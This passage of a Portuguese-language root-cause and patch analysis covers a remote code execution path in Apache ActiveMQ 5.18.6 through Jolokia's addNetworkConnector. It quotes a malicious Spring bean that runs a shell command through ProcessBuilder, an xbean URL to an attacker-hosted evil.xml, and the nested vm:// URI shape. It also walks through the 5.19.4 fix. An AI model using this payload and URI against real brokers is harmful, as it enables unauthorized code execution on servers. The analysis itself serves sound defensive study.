return new ResourceXmlApplicationContext(resource) {
@Override
protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
reader.setValidating(isValidate());
}
};
} catch (FatalBeanException errorToLog) {
LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
throw errorToLog;
}
}
```
Recursos remotos são aceitos por `Utils.resourceFromString()`:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
Resource resource;
File file = new File(uri);
if (file.exists()) {
resource = new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
try {
resource = new UrlResource(ResourceUtils.getURL(uri));
} catch (FileNotFoundException e) {
MalformedURLException malformedURLException = new MalformedURLException(uri);
malformedURLException.initCause(e);
throw malformedURLException;
}
} else {
resource = new ClassPathResource(uri);
}
return resource;
}
```
Portanto:```text
xbean:http://192.168.1.32:9999/evil.xml
```
é reduzido a:```text
http://192.168.1.32:9999/evil.xml
```
e carregado como um `UrlResource` do Spring.
A chamada a `reader.setValidating(isValidate())` apenas controla o modo de validação XML no `XmlBeanDefinitionReader` do Spring. Ela não restringe classes de beans, argumentos de construtores, métodos de ciclo de vida ou recursos de URL remotos.
---
### Análise da Instanciação de Beans do Spring
ActiveMQ 5.18.6 declara:```xml
<spring-version>5.3.39</spring-version>
<xbean-version>4.25</xbean-version>
```
Em XBean 4.25, `ResourceXmlApplicationContext` chama `refresh()` a partir do seu construtor:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
super();
this.xmlPreprocessors = xmlPreprocessors;
this.resource = resource;
refresh();
}
```
Ele carrega definições de bean do recurso fornecido:```java
protected void loadBeanDefinitions(XmlBeanDefinitionReader reader)
throws BeansException, IOException {
reader.loadBeanDefinitions(resource);
}
```
O `AbstractApplicationContext.refresh()` do Spring então inicializa o bean factory e instancia beans singleton não-lazy:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);
```
`finishBeanFactoryInitialization()` chama:```java
beanFactory.preInstantiateSingletons();
```
`DefaultListableBeanFactory.preInstantiateSingletons()` cria todos os beans não abstratos, singleton e não-lazy:```java
for (String beanName : beanNames) {
RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
...
getBean(beanName);
}
}
```
Durante a inicialização do bean, o Spring invoca métodos init personalizados:```java
// org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java
protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) {
...
invokeInitMethods(beanName, wrappedBean, mbd);
...
}
```
O método init personalizado é resolvido a partir da definição do bean:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
!(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
!mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
invokeCustomInitMethod(beanName, bean, mbd);
}
```
`invokeCustomInitMethod()` invoca o método reflexivamente:```java
ReflectionUtils.makeAccessible(methodToInvoke);
methodToInvoke.invoke(bean);
```
Um bean Spring XML malicioso, como:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<value>touch /tmp/blahblah.txt</value>
</list>
</constructor-arg>
</bean>
```
causa o seguinte comportamento:```text
ResourceXmlApplicationContext constructor
-> refresh()
-> XmlBeanDefinitionReader.loadBeanDefinitions()
-> DefaultListableBeanFactory.preInstantiateSingletons()
-> getBean("exec")
-> instantiate java.lang.ProcessBuilder
-> initializeBean()
-> invokeInitMethods()
-> invokeCustomInitMethod("start")
-> ProcessBuilder.start()
```
Isso ocorre antes de `XBeanBrokerFactory.createBroker()` validar o contexto resultante procurando por um bean `BrokerService`:```java
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
if (broker == null) {
String[] names = context.getBeanNamesForType(BrokerService.class);
...
}
if (broker == null) {
throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}
```
A validação do broker ocorre após o refresh do contexto Spring. Como resultado, uma configuração pode executar métodos init arbitrários e ainda assim ser rejeitada posteriormente como uma configuração de broker inválida.
---
### Análise da Causa Raiz
A causa raiz é uma ponte arquitetural insegura entre uma operação de gerenciamento remotamente invocável e mecanismos confiáveis de bootstrap local do broker.
O design vulnerável tem estas propriedades:
- O Jolokia expõe operações JMX `exec` para MBeans de gerenciamento do broker ActiveMQ.
- `BrokerView.addNetworkConnector(String)` aceita entrada de URI controlada pelo atacante.
- A URI é passada para o código de rede do ActiveMQ sem uma restrição no plano de gerenciamento sobre esquemas de transporte perigosos.
- A descoberta `static:(...)` faz com que a URI encapsulada seja conectada automaticamente quando o conector de rede inicia.
- O transporte `vm://` não é apenas um transporte intra-VM; ele também suporta a criação automática de um broker quando o broker VM nomeado está ausente.
- `VMTransportFactory` trata `brokerConfig` como uma URI de fábrica de broker e a encaminha para `BrokerFactory.createBroker()`.
- `BrokerFactory` suporta URIs `xbean:` por meio de `XBeanBrokerFactory`.
- `XBeanBrokerFactory` aceita recursos de URL e constrói um `ResourceXmlApplicationContext` do Spring.
- O Spring instancia ansiosamente beans singleton e invoca métodos init personalizados durante o refresh do contexto.
- O ActiveMQ verifica se o contexto contém um `BrokerService` válido somente depois que o Spring já inicializou o contexto.
Isso não é simplesmente "validação de entrada inadequada" de forma isolada. O comportamento vulnerável é causado pela exposição de um interpretador de URI capaz de configuração por meio de uma operação JMX em tempo de execução e por permitir que esse interpretador alcance a execução do ciclo de vida de beans do Spring.
A falha precisa é que a API de gerenciamento trata `discoveryAddress` como um endereço de conector, mas a pilha de transporte downstream o trata como configuração executável. No caminho de exploração, a string é avaliada como:```text
network connector URI
-> discovery service URI
-> VM transport URI
-> broker creation URI
-> XBean Spring resource URI
-> Spring bean definitions
-> Java object lifecycle methods
```
A validação ocorre tarde demais porque a única validação de configuração do broker em `XBeanBrokerFactory` acontece depois de:```java
new ResourceXmlApplicationContext(resource)
```
e esse construtor executa:```text
refresh() -> preInstantiateSingletons() -> init-method invocation
```
Quando o ActiveMQ determina que o XML não possui um `BrokerService` válido, os beans Spring controlados pelo atacante podem já ter sido executados.
---
### Análise do Patch
O diff relevante foi revisado com:```bash
git diff activemq-5.18.6..activemq-5.19.4
```
A alteração relevante para a segurança está em:```text
activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
```
Em 5.18.6, `addNetworkConnector()` encaminhava diretamente a string:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
...
connector.start();
return connector.getName();
}
```
Em 5.19.4, foi adicionada validação antes de chamar `BrokerService`:```diff
public String addNetworkConnector(String discoveryAddress) throws Exception {
+ // Verify VM transport is not used
+ validateAllowedUrl(discoveryAddress);
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
```
A mesma validação foi adicionada a `addConnector()`:```diff
public String addConnector(String discoveryAddress) throws Exception {
+ // Verify VM transport is not used
+ validateAllowedUrl(discoveryAddress);
TransportConnector connector = brokerService.addConnector(discoveryAddress);
```
O validador rejeita esquemas de transporte `vm`:```java
private static void validateAllowedUrl(String uriString) throws URISyntaxException {
validateAllowedUri(new URI(uriString), 0);
}
// Validate the URI does not contain VM transport
private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
// Don't allow more than 5 nested URIs to prevent blowing the stack
if (depth > 5) {
throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
}
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());
// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
URISupport.CompositeData data = URISupport.parseComposite(uri);
depth++;
for (URI component : data.getComponents()) {
if (URISupport.isCompositeURI(uri)) {
validateAllowedUri(component, depth);
} else {
validateAllowedScheme(uri.getScheme());
}
}
}
}
// We don't allow VM transport scheme to be used
private static void validateAllowedScheme(String scheme) {
if (scheme.equals("vm")) {
throw new IllegalArgumentException("VM scheme is not allowed");
}
}
```
O caminho de execução corrigido se torna:```text
Jolokia exec
-> BrokerView.addNetworkConnector(String)
-> validateAllowedUrl(String)
-> validateAllowedUri(URI)
-> validateAllowedScheme("vm")
-> IllegalArgumentException("VM scheme is not allowed")
```
Isso bloqueia o exploit antes que a requisição chegue a:```text
BrokerService.addNetworkConnector()
DiscoveryNetworkConnector.start()
TransportFactory.connect()
VMTransportFactory.doCompositeConnect()
BrokerFactory.createBroker()
XBeanBrokerFactory.createApplicationContext()
ResourceXmlApplicationContext.refresh()
```
O patch não remove o suporte ao transporte VM globalmente. Ele restringe o uso de `vm://` por meio dos métodos de criação de conectores do `BrokerView` voltados para JMX. Caminhos de código internos ou confiáveis que usam transporte VM ainda existem.
Nenhuma alteração relevante para a segurança foi feita em `VMTransportFactory.doCompositeConnect()` entre 5.18.6 e 5.19.4. O comportamento do `brokerConfig` permanece:```java
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);
```
Nenhuma alteração relevante para a segurança foi feita em `XBeanBrokerFactory.createApplicationContext()` neste diff. Recursos de URL remota e o comportamento do Spring `ResourceXmlApplicationContext` permanecem disponíveis para carregamento de configuração de broker confiável.
`BrokerFactory` mudou de um `FactoryFinder` bruto para um `FactoryFinder<BrokerFactoryHandler>` tipado:```diff
- private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
- new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
+ private static final FactoryFinder<BrokerFactoryHandler> BROKER_FACTORY_HANDLER_FINDER
+ = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
+ BrokerFactoryHandler.class, null);
```
Esta é uma limpeza de segurança de tipos, não a mitigação de RCE. O despacho baseado em esquema para `XBeanBrokerFactory` permanece.
`BrokerService` ganhou verificações de `isAutoStart()` para a inicialização do conector em alguns caminhos:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+ connector.start();
+ }
```
Esta não é a correção principal para o caminho Jolokia-para-RCE. A mitigação principal é a rejeição pré-dispatch de `vm://` em `BrokerView`.
Resumo do comportamento do patch:
- 5.18.6: `BrokerView.addNetworkConnector()` aceita `static:(vm://...?brokerConfig=xbean:http://...)` e o repassa adiante.
- 5.19.4: `BrokerView.addNetworkConnector()` valida o URI fornecido antes da criação do conector e rejeita o uso de `vm://` aninhado.
- 5.18.6: `VMTransportFactory` pode consumir o `brokerConfig` controlado pelo atacante alcançado pelo caminho JMX.
- 5.19.4: `VMTransportFactory` ainda suporta `brokerConfig`, mas o caminho JMX exposto é bloqueado antes da resolução do transporte VM.
---
### Conclusão da Análise Estática
O caminho de código exato vulnerável no ActiveMQ Classic 5.18.6 é:```text
HTTP POST /api/jolokia/
-> Jolokia exec operation
-> org.apache.activemq:type=Broker,brokerName=<name>
-> BrokerView.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(URI)
-> DiscoveryNetworkConnector.setUri(URI)
-> DiscoveryAgentFactory.createDiscoveryAgent(URI)
-> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI)
-> BrokerView.addNetworkConnector(): connector.start()
-> DiscoveryNetworkConnector.handleStart()
-> SimpleDiscoveryAgent.start()
-> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
-> TransportFactory.connect(URI)
-> VMTransportFactory.doConnect(URI)
-> VMTransportFactory.doCompositeConnect(URI)
-> BrokerFactory.createBroker(URI)
-> XBeanBrokerFactory.createBroker(URI)
-> XBeanBrokerFactory.createApplicationContext(String)
-> Utils.resourceFromString(String)
-> new ResourceXmlApplicationContext(Resource)
-> XmlBeanDefinitionReader.loadBeanDefinitions(Resource)
-> AbstractApplicationContext.refresh()
-> DefaultListableBeanFactory.preInstantiateSingletons()
-> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod()
-> ProcessBuilder.start()
```
A exploração é possível porque o ActiveMQ expõe uma operação de gerenciamento que aceita uma URI de conector, mas a implementação de transporte downstream pode interpretar essa URI como configuração de criação do broker. O parâmetro `brokerConfig` atravessa da lógica de conexão de transporte para a lógica da fábrica do broker. Com um valor `xbean:`, ele atravessa novamente para o processamento XML do Spring.
A primitiva de execução do Spring não é um bug separado de desserialização. É o comportamento normal do ciclo de vida do Spring: um bean singleton não preguiçoso é instanciado durante o refresh do contexto, e seu `init-method` configurado é invocado. Portanto, um bean `java.lang.ProcessBuilder` com `init-method="start"` executa um processo durante a inicialização do contexto da aplicação.
A falha de validação é uma falha de ordenação. O ActiveMQ valida se a configuração XBean contém um `BrokerService` utilizável somente depois que `ResourceXmlApplicationContext` já carregou o XML e inicializou os beans singleton. A rejeição da configuração do broker após o refresh não desfaz os efeitos colaterais dos métodos do ciclo de vida dos beans.
O patch 5.19.4 mitiga esse caminho específico adicionando validação de URI em `BrokerView` antes da criação do conector e rejeitando o uso de transporte `vm://` na superfície de gerenciamento JMX. O patch bloqueia o caminho exposto para `VMTransportFactory.doCompositeConnect()`; ele não remove o `brokerConfig`, o suporte a `xbean:` ou o carregamento Spring XBean de caminhos de configuração internos confiáveis.